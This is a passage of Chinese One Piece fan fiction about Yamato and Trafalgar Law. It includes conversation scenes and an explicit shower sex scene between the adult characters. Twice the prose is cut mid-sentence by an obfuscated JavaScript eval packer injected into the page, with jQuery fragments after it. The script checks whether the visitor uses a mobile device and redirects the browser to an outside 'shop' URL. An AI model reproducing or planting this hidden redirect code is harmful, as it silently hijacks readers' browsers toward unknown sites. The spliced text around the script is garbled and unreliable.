“大和——你叫大和对吗?”出乎意料的人找上了红心团海贼,当后者回头看去,认出是海军G-5的大佐,跟在斯摩格身边的女副官达斯琪。 吃饱喝足后的青年才帮着自家船长收拾完德雷斯罗萨派来的2名刺客——巴法罗与Baby-5——眼下远远地守着正同海军中将“白猎人”交谈的船长。注意到女海兵走过来,才回头不解地看看对方。 “是。”他还是简洁回答。 女军官点点头,走到离他不远的地方站定。“我曾在海军总部听说过你的事,你原来是德高望重的富兰克林律师的学徒,但在顶上战争后离开事务所跟着特拉法尔加-罗,还被他弄成了聋哑人,是这样吧?” ——啊,这可真是个复杂又曲折的故事,让被编排进去的本人听了都不由得感慨。 大和略感无奈。 事到如今,或许也不用再藏着掖着,他干脆用支离破碎的言语回答:“不。亚伯……拉罕对我……有……恩,但我……不是学徒。我是……海贼,只是他……不知道…… “以及,罗……没有……把我变……哑,是我……自愿……不说话。” 达斯琪困扰地看着他,勉强听懂了他的意思。虽然立场完全相反,但听海贼说话如此费劲,她也难免感到一丝同情。 “——为什么不说话?你现在也是因为太久不说话,才变得‘磕磕巴巴’对么?我听凯莎中将说,你原本是能正常讲话的。” “因为……答应……了。”他回答地自然而然,“男人,答应就要……做到。” 达斯琪越加皱紧了眉头,“啊?” 于是大和也自然为她科普了一遍新知识——他都习惯了,两年间不能说话的时候只能靠罗替他解释,如今总算能亲自说出口,便不厌其烦地重复:“我是男人。” “……哈?”女军官彻底听不懂了。 果然海军和海贼立场不同,是讲不通话的……虽然想这么说。 达斯琪还是没忍住开口问出了自己真正在意的事情:“为什么不肯当律师,一定要做海贼?” 自称男人的青年紧握细长无刺的狼牙棒,单手叉腰,答:“为了自由。以及…… “——成为……御田!” 没有缘由的想法,但是是他起初唯二深刻的记忆,要成为光月御田,要去见艾斯——现如今已经实现了其中一个愿望,虽然也伴有巨大的遗憾——那么现在就只剩一个必须追逐的目标了,但愿这次不会再有遗憾。 女中将彻底被他搞糊涂了:“关东煮”?为什么要变成“关东煮”?难道是有什么特别的指意吗? 指托眼镜框——她要回基地后再好好查一查。万一下一次海上再见,或许就可以用在抓捕这名新冒头的、看起来实在奇怪、却又实力不简单的海贼。 43.番外系列1:玫瑰红 热气散开,从花洒喷涌而落在肌肤上的水流迅速地汇聚成一道道蜿蜒细流。 青年目不转睛地看着,在水温的影响下,胸膛慢慢浮现出玫红色,然后成片覆盖桃心形纹身所在的整块区域,漫延到桃尖,以至肚脐为中心的整片腰腹。 “……看什么呢?” ——某些人的视线未免太直白了,当别人是毫无警惕性的傻子吗? 嗔怪的口吻,连同侧目瞥来的眼神,意识到自己的“偷看”被发现了,大和下意识地将脸转向一旁,讪笑起来。 不过转念又猛然觉得为啥要不好意思?明明可以堂堂正正的。 毕竟,这可是【他的男朋友】! 于是探照灯一样的橙红大眼睛又转了回来,一眨不眨地瞧着水花中的男人。 正在用香波揉搓短发的人不禁瞪他一眼,险被泡沫流入眼眶。紧急闭上眼帘草草冲洗,指尖一并捋过浸足了水的刘海,再睁开眼时——那家伙居然还是一副目不转睛的样子。 “说了当没听见么!转过去!老老实实洗你的。” “可是看不够嘛!” 明明他才是被热水泡到粉嘟嘟而越发可爱的人,却这么坦诚自己对另一人的想法。 罗简直服了,“别以为说些好听的话我就会忍你……”这样搞得他连洗澡都很紧张。“洗好了就自己先出去……给我等着。” 后半句应该已经意思很明显,可也不清楚是因为声音太轻,还是浴室中的水流回声太响,浴池中的人带着破水而出的芙蓉之姿站起来,却并非“听话”向着门外。 “你干嘛?” “嗯……就当作没洗干净再冲一下?” “……就算是找借口,你都不把‘就当作‘去掉再讲出来吗?” “反正罗也会知道是借口。” 身材略高而肌肤滑腻的人影欺身而来时,他不是没伸手推拒,但对方实在滑的像条鱼,甚至在水滴与灯光双重作用下周身也反射着彩鳞一样的细闪……着实漂亮。 “喂……打杂的,别闹……”转眼腰腹已缠绕一圈细长的胳膊,贴近之下两人的色差居然如此明显。平时倒也没注意身边人皮肤有这么白…… ——不对,现在不是想这些的时候! 他还是最后矜持一下:“等着,我可不想在浴室里因为这种事摔跤……” “不想等。”轻轻搁放在肩头的脸颊也被头顶下落的水花溅湿,一时如落满水晶,“我就想抱不同颜色的罗。” “哈?不同什么?” “‘颜色’啊。就像你买衬衫的时候碰到喜欢的同一款会买不同颜色,我也想要不同颜色的你。”——比如此时洗澡时变成“玫瑰红”的罗。 “这算什么糟糕的类比……”不留情面地吐槽,可身体本能却让他缓缓贴近身后的曲线,肌肤契合的触感如此熨帖人心。 在温热与世间最透明之物:水的润滑下,舒张的毛孔好像变得有了自主的意志——难道是因为他们都是恶魔果实能力者,碰到水之后会变得失去对身体的控制——明明肌肤浸湿,却愈加饥渴,仿佛贪图从彼此的毛细血管中汲取更多抚慰。 恋人的手掌大到足以抚平他的躁动不安,修长的手沿着特定纹路描画时总是格外挑逗,似乎又特别喜欢沿着他的纹身抚摸。他得承认这种感觉还不错,甚至觉得为了这一刻,当年在纹身师笔下遭的疼痛也更值了。 不过他还是天然更喜欢当指腹缓缓划过胸口时的某一刻,他会战栗,但在战栗之前则又每每更加难耐地期待这一时刻——由此加深最终被取悦时的满足感。 “‘玫瑰红’的罗比平时表情更色……”耳后有着这样的说法。 “……闭嘴……”他还没有等来期待的时刻,热水与更加温柔的手指还在胸膛上方停留,好像故意绕开顶敏感处。 男人不禁焦躁起来,不满道:“‘蠢狗’——亲我啊。” 轻笑立时钻进了耳朵,青年万般纵容道:“好~”。 便是在清水的抚摸与洗礼中如愿拥吻。舌比水还烫人,但眼下似乎非得要这么烫才能解救肌肤饥渴之症。 脸庞既然湿淋淋的,就放开了去吻就是,不用考虑频繁吞咽以控制湿润彼此的程度,也算一重好处。 手掌抚过皮肤表面的水流,柔滑地就像在触碰果冻,尚带有鲜活感十足的弹跳。偶尔也会摸到遗留的伤痕,记载他们也作为同伴在大海上并肩走过多年…… 猝不及防的,他等到了战栗的那一时刻,舌尖便又用力一分,在齿面划过,好像巴不得让自己受伤——或许痛才是一解爱欲的良方。 “咬我。” “……唔?” “打杂的,咬我。”他的鼻尖蹭着他的鼻梁,呼吸含混水汽,投下可能引起困扰的要求,“咬地狠一点……在我身上留下‘记号’。” 眸光彼此映照,大和从星灰的瞳中看到了自己惊愕的神情,“可是,罗……” 黛青色眼睑下饱含挑逗,罗敢肯定对方拒绝不了这样的邀请;没有不嗜血的狼,也没有不想划地盘的野兽。 即便他时常调侃甚至私下亲昵中叫骂对方是“狗”,可早就看出来这是一头猛兽。 “难道你不想?”大和听到这样的反问。 ——当然想。 从开始喜欢罗的时候,就隐隐约约想,喜欢对方几乎到了渴望伤害对方的地步。 那时要靠理智忍耐,后来无需伤害也能用抚慰缠绵的方式聊以排解。 现在对方怎敢忽然又挑起他可怕的念头。 依他看,总是讽他脑子不大好的罗此刻才是犯傻。“你根本不知道自己在说什么吧。” 惯会挑衅的年轻海贼将暗含气势的警告看在眼里,反倒多生出几分反骨,扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306113|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着唇角道:“你亲口试试不就知道了?” ——原来玫瑰红的罗还会更加出离任性。 大和不会承认,他现在就想将这牝猫一样无视自身有多可爱还朝他龇牙咧嘴的人按倒,“茹毛饮血”;他不会对喜欢的人那么粗暴,哪怕已经对幻想中的血肉啮磨若干来回。 捏着水流中好像随时滑脱手的下颌,犬牙轻磕,他用力地好像要将对方一排齐整的牙齿啃下来。不过放松嘴唇,还是轻轻吮到了湿漉漉的舌尖。 “罗需要为自己说的话受到‘惩罚’。”——他就像惩恶扬善的使者落下这句话。 青年愣了1秒,随后又带着轻微的不屑与不羁微笑。 “……嘁,就这吗?” 水流将长发从雪白的发顶平等地过渡至渐变蓝绿的发尾,再次湿透之人终于暴露出头顶的赤色角骨——虽是受伤断裂后的形状——好像山鬼居高临下。 深琥珀似的眼瞳带着盘算,红唇不语。 凝望热气蒸腾中漂亮的人面与身躯,他用实际行动回应对方的挑衅,手腕收紧固定了掌中的腰,也清晰地让他察觉到了紧贴之躯短暂的轻颤。 是扑面而来的气势让前1秒还在挑衅的男人本能地想挣扎,却靠理智忍住,“傻瓜!我说这话难道是找你干架嘛……”——别什么时候都拿气势压人啊! 白发摩梭着男人的下颌,唇齿啃咬侧颈的动静证明他当然没有误解要打架。 “……只是罗会这么以为而已。”大和暂时松开两排牙之间的细肉与“砰砰”直跳的脉搏,也指出对方的误判。 即便是热水中,紧张的战栗也引起男人胸膛起伏,自不必提胀大的欲求。 齿面磨刮着筋肉,留下一串串轻微刺痛,太轻以至于更像止痒的抓挠。 反倒舌苔的粗砺感还明显一些,环绕胸口一个劲用力吮舐,将原本就敏感之处挑逗地充血而愈加警觉。 硬茧覆盖的掌心不浅不重地反复顺或逆着水流方向爱抚肢体,将对获得自由的渴望抬高至顶点。 浴室里回荡着被水声打乱不知羞耻的细声与轻喘,低头的男人可以迅速掌握抬头的男人肌肉收缩与舒张的全部动态。 直到眼底如沃野般饱满的块状肌几经起伏后猛然紧绷,他亲眼见证虎口聚满清白的汁液又被水流冲尽,混入地面薄薄的积水。 “真是浪费……”红眼“山鬼”盯着蜿蜒的清流流向出水口而自语喃喃。 “……少废话……亲我。”吐息凌乱的男人还是自信地以命令口吻要求,哪怕他此刻不得不倚着旁人方能不腿软。 “太热了,而且能力者不能长时间沾水。去外面再继续吧。”无意间他用到了延迟满足。 花洒关闭,浴室终于安静地只剩下呼吸。白发之人捞过浴巾,轻轻松松地抱起也就比自己稍矮几公分的瑰色恋人,光脚踩上门外的地毯。 44.piece 43-兴风作浪的同盟与磨合期 “——诶?(他)也参加过顶上战争?” 桑尼号从班克禁区的港口启航了,罗提出要借用草帽海贼团的电话虫,路飞欣然同意,在等待盟友进船舱通话时,顺便对甲板上的同伴们介绍了与大和的渊源。 “我还以为他只是特拉男的同伴,原来和路飞早就认识了嘛!” 橘发航海士又仔仔细细地盯着同盟海贼打量起来。虽然已经听说了这位自称男人,但…… 只听头戴草帽的船长又笑嘻嘻地宣布:“对噢!而且他也是艾斯的好朋友——所以说也是我的朋友!” 大和听得不禁愣了。路飞的话从道理上倒也不出错,但听他这么直接讲出来,感觉说不上来…… 恰巧这时有人轻轻撞了一下他的手臂,回头一瞧,绿发的剑士正坏笑着曲起手肘。“嚯,一转眼就变成我们船长的朋友了,你小子不然干脆弃‘暗’投明到我们船上来算了。” 虽说大和此刻就身在桑尼号船上,但他理解力没出偏差的话剑士应该暗示的是别的意思。 “不要开……这种……玩笑。我有船长……的!从顶上……之前就……” 他的话说地依然破碎,越是情急之下越会想不起来一些词该怎么说,急到揪白毛的地步,可是反而让见到这个情形的草帽团船长和战斗主力找到“笑料”一样先后大笑起来。 ——啊,这些“坏家伙”!就和当初逮着他被“计分”限制不能说话期间,拿他取笑的红心团那班海贼一样。真是的…… 在桑尼号上永远不缺的欢笑声中,山治翩然而至,带着对女士们特别的殷勤与赞美,也顺便带来了下午茶。“娜美桑~~罗宾酱~~” “还有可爱的——大和桑~~” 两份红茶和装饰精致的点心分别轻轻放在女船员手边,娜美和罗宾先后道谢。无视以路飞为首男海贼们的无效抗议,山治又转到应该是【男】同盟的眼前。 大和意外于此时被抬起手掌,接着掌心又放入一张小碟,正中间是块表面柔滑的红色果冻,正在瓷碟中轻轻弹跳。 “请吧,特别定做:像你眼眸一样可爱的水晶果冻~草莓蜜柑味——sorry,娜美桑,我自作主张用了上次收获的一些蜜柑,请原谅。” “嗯,没关系哦。”娜美大度地点点头,看起来心情还不错,“毕竟是船长的朋友嘛,好好招待是应该的!” “嗷~~慷慨的娜美桑也好棒~~~”金发厨子又像被“爱神之箭”射中那样“无助”地捧心。 红心团的白发海贼呆了呆,虽然受宠若惊,但又觉得这毕竟是在盟友的海贼团,站在一群大男人中间如果只有他受到特别优待…… “谢谢你,山治……” ——果冻看起来好美味的样子,而且晃晃悠悠地好有趣!要不,他就尝一尝? “呜!怎么会……这么好吃!”水一样的触感从甜点勺滑进口中,入口即化,迸发出的橘子香和草莓香回旋在唇齿间,好像味道还不止于此:“还有……茉莉嘛?” 比他稍矮一头的男人听到后露出赞许的微笑,“厉害啊,大和桑~确实特别添加了茉莉蜜调制的糖浆。” “啊,我只是味觉……和嗅觉……还比较好。山治好……厉害,这么美味的……果冻……是第一次吃到!” 草帽团的厨子欣然接受了对方即便磕磕绊绊也还努力表达的认可,笑着点起一支烟,同时提议道:“没想到你的味蕾这么灵敏,看来下回再有试菜的时候可要找你帮忙咯。” “没问题!交给我……吧!”试菜这种事,他在红心海贼团干杂役的时候就经常给柏瑞帮忙,这事他拿手得很。 “呐,大和,真地有很好吃嘛?”一张帽檐下貌似可怜兮兮的娃娃脸伸到面前,是蹲在桑尼号凭栏上伸长了脖子(真正字面意义上的)凑过来的船长路飞。 “路飞,不要打扰别人用餐。”山治轻飘飘地警告了一句,不过似乎也见怪不怪了。 大和看着如同神鬼传说中“飞头蛮”的画面,倒未被惊到,也就将手中的瓷碟向旁端出来:“是真地……很棒噢!路飞也……尝尝看?” 诸人闻言,神色均有不同程度的改变,山治刚来得及取下香烟开口,“喂……” 然而一切已无法挽回,原本给大和的瓷碟中已经空空如也了,而端着瓷碟才挖了一小勺的同盟海贼看到果冻居然转眼就没了,表情也可以用“空空如也”来形容。 “——我就知道会这样!混蛋,把大和桑的果冻还回来!” 果香和花香以及甜蜜的味道还停留在大和舌尖,虽说他刚刚还曾因被特别对待而心虚…… 他是因为刚恢复说话还不习惯,表达错了嘛?刚刚脑子里想说的确实是“尝尝看”,不是“都吃掉”吧? “哈哈,这算是你在桑尼号‘第一课’——”橘发航海士放下骨瓷茶杯,转过头来笑道。 一旁的黑发历史学家也托腮微笑:“在桑尼号上,还是尽量先别想着‘谦让’了,大和。” “——尤其是在食物的面前。”长鼻子狙击手补充道。 “准确说是当路飞和食物同时出现时,最好还是不要谦让了。”端着保温茶壶的骷髅音乐家进而解释。 绿发独眼剑士顺带伸臂将同盟的脖子揽到和自己差不多的高度,“顺带一提,看你好像到现在都没意识到:最好也别给好色厨子太多“可乘之机”……” 看热闹兼说风凉话的海贼们们依次开口,其间还伴随着船长被厨子“追杀”的背景音,以及半路遭误伤的船医叫骂。大和有点懵: 怎么?草帽团内部其实是这种做派么:船长会抢食,而且会遭到船员不客气的打骂?虽然是船长没正形在先…… 但是怎么听着其他船员的意思,对于船长也颇有“看法”。 ——啊,大概因为红心海贼团的船长对边界感看的比较重,不会和船员开太多没正形的玩笑吧。像桑尼号上这样的情形他还真地头一回见。 “死绿藻,你是不是又在说我坏话?!” “什么?离得这么远,你是怎么听到的!” “果然!看到那张蠢脸就知道你没憋好话!” “……我说的至少是就事论事的实话!” “山治~~我饿了~~~” “——你给我忍着!抢别人食物的混蛋!” 为什么起航前在班克岛港口的宴会已经结束了,耳边还是会这么闹哄哄? 难道说草帽海贼团的每一天都像开宴会一样吗? - 大和就坐在桑尼号的草坪甲板上,看同盟的海贼们像小鬼那样安静不了一会就又会闹腾起来。不过等到看见从船舱走出来的人,他起身时其实还带着仍未收起的笑意——开怀地也像个小鬼。 “船长。” 罗若有所思地看了看他,就在船员尚未辨认出是何情绪时,便又已垂下眼帘,走到甲板的环形座椅旁坐下。 大和不确定他是不是心情不大好,抑或在计划紧锣密鼓地进行期间不免又变得紧张起来。 船长将计划看得有多重,以及背后的种种理由,同伴都明白,也明白他责任心有多重、恨不得将所有的压力也都加在自己身上——计划已经踏出了重要的一步,从这开始或将变得更为无法回头,后面的每一步如果稍有差池都将导致前功尽弃。 船员默默站到船长身边,刚好听到他对同盟的船长说需要召集所有人,阐述一下现在的情况以及接下来要进行的任务。 ——从为什么要绑架凯撒-库朗,到目前以凯撒为砝码要挟唐吉诃德-多弗朗明哥退出王下七武海,以及为什么这件事和接下来挑战四皇凯多有关…… 面对同盟海贼的不解与恐慌,他也要从头到尾予以足够有说服力的解释——虽说大和能听得出来还是隐藏了一部分关键信息,譬如说罗即便承认了自己曾是Joker的部下,也并未解释具体的恩怨。 ——他要让同盟坚定信念,就不得带私人恩怨,从头到尾只板着脸,用再冷静不过的态度陈列事实。 虽然这样似乎有隐瞒的嫌疑,也稍稍有点对不住同盟,但大和还是不禁更倾向于想:他家优秀的船长真地辛苦了。 直到天色向晚,甲板上暂时无人,他才有机会听罗在中断沉思后轻声说:“我没想到白天接到电话虫的人就是Joker本人……” 大概他们再晚一点离开班克岛,就会直面凌空赶来的“大Boss”,那代表将打破计划,提前上演殊死对决。 ——其实也没什么好怕,或许在一盘棋上“将军”的时刻迟早会到来,或许在他心里也隐隐盼望恩怨清算。 只是不清楚到那时,棋差一招的人会是谁罢了…… 坐在他身边的白发船员回头露出双眼,在夜幕中琥珀宝石样的剔透,还倒映着他紧蹙眉头的样子:原来他看起来这么严肃了。 “应该……证明……罗是对的。”船员是这么理解的:正因为在班克岛的行动掐准了多弗朗明哥的命脉,使后者感到威胁,才会亲自出动。 “或许吧,虽然我没打算把他想的有多‘伟大’,不过也不排除原因在于他那几个‘喽啰’,尤其死了的两个……” “死了?两个?”大和直白地表达困惑。 罗点点头,指了指自己,又指了指远处甲板上好像是在打瞌睡的凯撒,“维尔戈被我‘五马分尸’留在D栋,估计SAD装置爆炸的时候不丧命也是半死;另一个干部莫奈的心脏被凯撒亲手捅了,生还的几率还要更低些。” “……”虽说都是敌人的消息,但事关生死,闻者还是不由得心惊。 “这不是小打小闹,而是‘战争’;不成功即‘成仁’。”或许也看出了大和神色中的呆滞,罗不吝啬向他分享自己早有的觉悟——任何人的“牺牲”都将是无法预计的。 只是觉悟归觉悟…… 有力的手掌这时主动伸来,打断了罗的想法,也握住了刚好搭在座椅表面的手。 其实大和也明白,早在离开极地潜水号时就已经有了类似的心理建设。只是当相处了许久(哪怕一直相处地不算友好)的人死讯传来时,很难不引起内心的波动。 刹时,有个问题也自然而然地浮上心头。 ——或许算是一种“感同身受”吧:他突然怕船长会在这个“计划”中陷得太深,以至于也变得难再脱身。 可是转念一想,即便陷进去了又有何奇怪呢?将心比心,如果是他欠了别人一份过命的恩情,难道就会想那样算了么。罗其实也是很重情义的人呢…… 不过,或许以红心团船长一贯的理智与冷静,情况会有不同? 也只是出于试探性地,天然鲜红的双唇轻启:“罗还记得……要削弱四皇……击败凯多吧?” “……当然。”船员发觉他在说话的同时手掌轻微地动了动,似乎下意识地想要抽走,但依旧隐忍着停下来,转而不动声色地用拇指轻轻捏住恋人的指节,仿佛要让对方“安心”,“制定好的计划,我不会半途而废的。” ——虽然不是说谎,但直觉上好像也没完全说实话噢。 大和无可奈何地看了看他,然而所见之处帽檐阴影下的模样又实在坚毅漂亮。船员不忍心揭穿他,不过还是主动放开手,转而揭下了帽子。 看到露出来的面孔上出现诧异,心怀爱慕之人试着按捺心头的失望,对船长挽起微笑。 “船长……头发……长了呢。”修长的双手把玩着贝雷帽,单看外形仿佛一颗长斑点的白蘑菇,无论何时摸起来都柔软地令人爱不释手。“果然……你怎样都……很好;无论怎样,我……都喜欢。” 如果情况放在2年前,船员或许会叉着腰毫不犹豫地指正船长; 但或许2年的闭口不言着实帮大和在沉默中学会了深思熟虑,2年间他也早已打定主意会无条件地支持他喜欢的船长。 不忍戳穿,但是想让对方安心。 大概只要能努力让罗安心,对方就不会不得以将一些事连他一起隐瞒。 “船长决定……怎样,我都跟……到底。”顿了顿,或许觉得这样说可能还不够,便又补充一句:“我们一起……很强。何况……还有……草帽一伙……” 大和记得罗说过的,他就是对方“必杀技”。是不是真地能确切做到“一击必杀”他并不清楚,但他希望自己可以试着成为船长的依仗,就像必杀招式那样成为只要出手就不再有后顾之忧。 ——尤其守护船长也是他从极地潜水号临别之际背负的所有同伴的愿望:无论是白雁将武器送给他时、柏瑞给他们打包远行的便当时,还有更早先伊卡库和赛蒙陪他练习手语…… 以及离开前一晚,佩金、夏其,和对于没能成功争取到陪船长走的机会而万分遗憾的贝波,曾将睡眼惺忪的他从船员室架出来,好一顿事无巨细的叮嘱:船长喜欢什么、讨厌什么、习惯是什么,以及绝不许再惹船长生气(!)以免船长“一气之下连他都不带了”…… 所以无论如何他也要力挺并且守护船长,无论同盟海贼们能帮他们做到多少,(出于公道,应该也不能要求草帽一伙做的太多。)拼了命,他也不可以让同伴们失望。 虽然所有的心思未必能得到完整的传达——部分原因在于他此刻笨嘴拙舌——这时在他耳旁还是传来一声柔和的叹息。 “先看明天的新闻报纸上怎么说吧。” 深沉的目光没了阴影遮挡,穿过黑夜凝望向深蓝色越发显得没有边际的大海,“只要Joker‘上钩’,敢退出七武海,就有的是对付他的办法。” 船员听着忽然笃定的语气,便收回了注意力仔细听: “走之前我也对白猎当家的透露了目的地,估计不光是我们,只要Joker少了七武海这张皮,海军也会巴不得立刻将他拿下。” ——果然,他的船长很优秀的,为了目标总有办法利用一切得力因素。虽然把海军再次搅合进来的事也没有对同盟说就是…… 船员笑笑,心态近乎纵容之余无外乎更深的仰慕。 “笑什么?”冷不丁的问话会让人错觉自己犯了什么错,大和猛地回神,听见旁人沉着声凶巴巴地说:“快把帽子还给我。想‘造反’么,打杂的?” “呃。”——他刚刚就是一时兴起。“一时兴起”这个词该怎么发音来着? 船员敛了微笑,僵着等从他手中一把抢回帽子的船长发威:完了,刚想起“前辈们”早先的交代,他就犯了惹船长生气的禁忌。 只见男人将帽子带回头上,纹着刺青的手向身前伸来。大和已经做好了怕是又要被揪住挨顿教育的准备,手掌落在胸前却只是将他向后轻轻一拨。 他的脊背刚碰到靠背,旁人也就放下手,转而挽着妖刀,又将毛茸茸的脑袋压在他肩头。 虽然只是一个简单倚着他休息的动作,就猛然令他感觉到了被信赖的喜悦。 ——难怪贝波前辈好像很喜欢给船长当靠枕……他也好喜欢!嗷呜,他下定决心要“抢走”前辈的“御用靠枕”地位! “瞎激动什么?”有些困意的眼睛还是瞥见了某人无处安放的两只“爪子”,精准地猜到对方的心情。 “呜……”满心仰慕之情表达不出来的人想了想,发觉好像对他来说如今手语比言语表达还更顺畅一些,于是飞快地比划手势: ‘今天也是疯狂爱上船长的一天。’ 刀柄转眼就将飞舞的双手按了下去,“啧,复健结束之前都尽量用嘴说话。”罗在回应突如其来让人难以招架的表白前,还是先严厉地提醒。随后才沉吟了几秒,带着一丝调侃尝试问:“打杂的,没了我,你可怎么办?” “……大概……”肩头与手臂感受着所爱之人的温度与重量,大和好好地整理一下言语,在基本确保能一口气说完后才开口:“——只能愤而跳海了。” “——你可别。” 听身边人居然一鼓作气给出这样的答案,罗也一秒不带停顿地否决。说完自己先闷笑起来,没管明显的抖动是不是已经顺着相依的臂膀传了过去。 虽然大和所说的结果很可怕,也绝不是他想见到的,但不得不承认听到这个答案后,他的胸腔涌起了要命的感动。 即便只是“蠢狗”的一句夸张而轻率的话…… 至少让他明白,在这一刻他对“蠢狗”而言很重要,以及很可能在多大程度上被喜欢着。 ——这些他都知道,早就知道。对方就像真正的大狗那样,掏心掏肺地将所有的喜欢和信任都摊在他面前。 从一开始就是,毫无技巧、举重若轻、单纯只是喜欢他。 明白这些让他即便在别人的船上也想全身心地投入旁人的怀抱,索要更多温柔和关怀。 然而现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338094|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实并不允许肆无忌惮,他们走在不知是否还能回头的路上。 如果事情变得真地无法再回头——了结13年前的恩怨,毕竟只是他一个人的事——罗不希望再拖累最重要的同伴以及……不知不觉变得更为重要的伴侣。 脚步声突然从头顶的楼梯上传来,他迅速离开恋人肩头,坐起身来,太急于撇清的动作甚至令他忽视了对方变得有点受伤的神情。 - 来者只是为了通知他们,如果需要使用到浴室和洗漱间,可以自便。 娜美尤其还关照到了看起来应该有别于其他“臭男人”的同盟,“大和,你真地不考虑到3楼的女浴来吗?罗宾已经洗完了,你可以自己一个人使用噢。” “谢谢……还是不要了,我用男浴……就可以了。”大和摆着手感谢了橘发女生的好意,坚持了自己的原则。 “这样啊……” 娜美的目光在相邻而座的两人间来回扫了几眼。一种或许可以称作女人的“第六感”的意识让她本能地多想了一些,不过此刻看起来更像普通男人的同盟船长没有抬头,而无论怎么看都更特别的同盟船员又带着干净的笑容坦坦荡荡地直视她,让她也不好多问。 “那我猜你也不会同意来二楼的‘女生房间’过夜,对不对?”她补充道,“其实我们本来也要带桃之助一起睡,并不介意再多1个人——刚好热闹呢。而且男生房间太拥挤的说。” 长得一副可爱女生外形的高个白发人连忙再次摆手,“不用不用,那样……太失礼了,也不好打扰……你们休息。” “谢了,娜美当家的,不必费心。”一旁的罗这时也抬起头来,语气虽然依旧如刚结盟时一样冷漠,但态度谦逊不少,“我们两个在甲板上将就即可。搭乘了你们的船,今晚我们会帮忙值夜。” “唔,看不出来你也会跟我们客气的呀,特拉男。”女航海士将伏在楼梯边,笑着调侃了一句,“那好吧,就辛苦你们了!有什么情况,随时喊人就好~” 罗点点头表明知道了,以为女海贼这样就要上楼回去,忽又见她转过身来,看起来煞有介事地竖起食指,像是要讲一件重要的事。 原来是要对大和提醒:“还有一件事,虽然可能你不是太介意,不过用男浴的时候还是尽量提防有其他人混进去——如果有奇奇怪怪的人骚扰你,可以告诉我,我会替你收拾‘他们’——我指的是我们船上的山治,还有锦卫门那个恶心武士。” “……啊,好的……” 虽然不知道是不是发生了什么,突然这么郑重地提示……不过相关的提醒在白天好像就听到过一回。或许应该是真地很重要吧? 毕竟大和刚开始跟着红心团航行时,就因为洗澡的事情差点被船长赶下极地潜水号。 只不过后来实际真正借用桑尼号浴室时,他也并未遇到娜美所警示过的“骚扰”。 或许是因为他每次借用浴室时“刚巧”都只有他一个人,又或许娜美做了什么其他预防工作,不至于真地出现那样的骚扰。 殊不知,当他在清理自己时,门口“刚巧”有个船长坐在外面,白色帽檐下就面无表情地盯着看似路过、或来洗澡、或假装来洗澡的每一个男性。 ——其实罗起初只是好奇娜美所暗示以及警示的情形是否真会出现,没想到被他撞见3个鬼鬼祟祟的身影……居然还不止娜美所说的那“2个”。 这位同盟海贼团的船长稍微站在楼梯上观察了一会,就直接决定把那2个男性人类带1副男性骨架瞬移到了甲板草坪上——真没想到,两家海贼团缔结同盟之后,居然还会为了这种事对他们“动手”。 但又不好真地动手,罗在初次失去信任感后,选择直接在他家船员洗澡时亲自守门。 从此,除了完全像小孩子心性的“狸猫”船医,每当有男性出现在门口,不管对方是看起来对此类行径不屑一顾的剑士、没大多想的狙击手和机器人,还是更像来凑热闹的草帽船长,他都“一视同仁”地用眼神“劝服”对方改个时间再来。 更不用说对已经挂上他的“黑名单”的3个显而易见的变态色狼:厨子、音乐家、以及临时跟船的和之国武士。 好在余下的时不时会变成粉色小龙的和之国武士小孩不需要他操心,因为小孩被获准直接进女浴,就算有人硬拽着也不会来男浴的。 “喂!特拉男,你那是什么眼神?”索隆提出过异议,虽然他每周只洗一次澡,但在浴室门口被别人用冷冽的视线逼退,感觉某种程度上还是有违剑士尊严。 “哈哈,索隆,你等一会再来吧!”娜美笑嘻嘻地摆摆手,主动站出来当“和事佬”主持大局。“嘛,这里之前算是稍微发生过一点‘信任危机’,暂且为了照顾到同盟关系,先这么处理。” 抱着衣服、毛巾的剑士忿忿地走了,女航海士才笑嘻嘻地一抚裙摆,与同样带剑的海贼一样坐在男浴门外。 “真是丢人呀,给你造成了这种不好的印象~~不过公道一点说,也只有你刚刚看到的3个人而已,其他人一般说来不会做那么无聊的事。” 娜美还是稍稍尝试挽回一下草帽团在同盟眼里的形象。 ——捎带的,她好像也察觉到了什么。 “可是,大和在你们自己的船上时,需要洗澡怎么办呢?”难不成也要船长亲自守在门口?这也太可疑了吧。 罗沉吟片刻,还是开口答:“‘看到’是一回事,‘想看’则是另一回事。在红心海贼团不需要我操心,大家清楚他的身份,就算见过,也不会产生什么无聊的想法。” “哦?所有人都清楚他的‘身份’嘛……”同盟中的航海士语气就好像有什么一语双关的意思似的。 罗本来还不觉有异,听她这么重复了一遍,不由得侧目看过去。面面相觑。 “什么意思?” “嗯……所以他是什么身份呢?”橘发女生手托下巴,笑眯眯的脸上看起来毫无威胁。 但是不代表罗不会对此产生警觉。 “他是男人,这就是身份。” “昂,除此之外没有其他身份了?” ——这个女人到底在想什么,是真地看出了什么,还是纯纯只是“八卦”心态? 他多少开始反省为什么找了这么一船怪人当同盟…… “没有了。”他冷漠地开腔。 “好吧。” 娜美暂且收回了满面笑容,但“邪恶因子”让她并不想止步于此。“可是,我们也已经知道大和的身份是男人呀,并没有不认同的说。虽然我也承认我们船上的某几位无聊的程度也算稀世罕有了,但是你们船上就没有‘稍微’好色一点的男人嘛~?” ——怎么可能!某人上船第一天闯进男浴,就把其他男人们都吓得跑了出来。 